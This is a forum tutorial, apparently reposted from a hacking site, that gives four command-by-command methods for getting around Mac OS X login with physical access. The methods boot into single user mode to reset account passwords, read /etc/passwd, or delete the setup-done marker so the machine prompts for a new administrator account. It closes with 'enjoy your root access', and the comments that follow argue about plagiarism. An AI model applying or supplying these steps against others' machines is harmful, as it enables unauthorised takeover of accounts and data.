Mac OS X Physical Security
Mac OS X Physical Security
02nwood | 5997 Reads | First, boot up in single user mode. On a Mac, you can do this by holding down Apple+S while it is booting.
(NOTE: You cannot enter single user or verbose mode if the computer owner or administrator has enabled Open Firmware Password Protection.)
From here, you can try several approaches. Some may not work.
METHOD 1:
Type in: sh /etc/rc passwd #accountname#
Type in the account name where #accountname# is and you will be prompted to type in the new password. Do so.
Type in: reboot
(NOTE: If you have no idea what the accounts on the computer are, try \'root.\' If you want to find out, you can try the following commands: cat /etc/groups cat /etc/passwd You may have to mount the drive with: mount -uw / first before you are able to use the command.)
METHOD 2:
Type in: mount -uw / fsck -y
(NOTE: fsck -y is a disk check utility. It is recommended that you run it after mounting the drive, but it is not required.)
Type in: /sbin/SystemStarter passwd #accountname#
Type in the account name where #accountname# is and you will be prompted to type in the new password. Do so.
Type in: reboot
METHOD 3:
Type in: mount -uw / fsck -y /usr/libexec/register_mach_bootstrap servers /etc/mach_init.d cd /var/db/netinfo netinfod -s local SystemStarter passwd #accountname#
Type in the account name where #accountname# is and you will be prompted to type in the new password. Do so.
Type in: reboot
METHOD 4:
Type in: mount -uw / fsck -y rm /var/db/.AppleSetupDone reboot
With method four you have tricked the computer into thinking that you have not completed the Apple setup. You will be prompted to enter in administrator account information. Do so.
(NOTE: I have no idea how this affects files or accounts that are currently on the computer.)
And enjoy, with this tutorial you should be able to fully enjoy your \'root\' access ^_^
This article can be found at: http://www.hackthissite.org/articles/read/802 I found it usefull so i submitted it.
spyware 17 years ago
This isn't physical? It's not remote; that's something different. And also, are you akaritakai? Otherwise this is ripped: http://www.rootthisbox.net/articles/read/802/
spyware 17 years ago
Why did you edit out that only.samurai added the source? It's not nice to rip and not give credit. you know.
02nwood 17 years ago
only.samarai gave the wrong link to where it got ripped. He said it was from rtb when it was from hts
ghost 17 years ago
I like the exchange of information, but I STRONGLY dislike when people rip articles and are reluctant to give credit. For that matter, I don't see why the article is called "Mac OS X Physical Security"… I see no "physical" techniques employed. This article would've probably been better if you had contributed anything practical to it, instead of reposting it verbatim.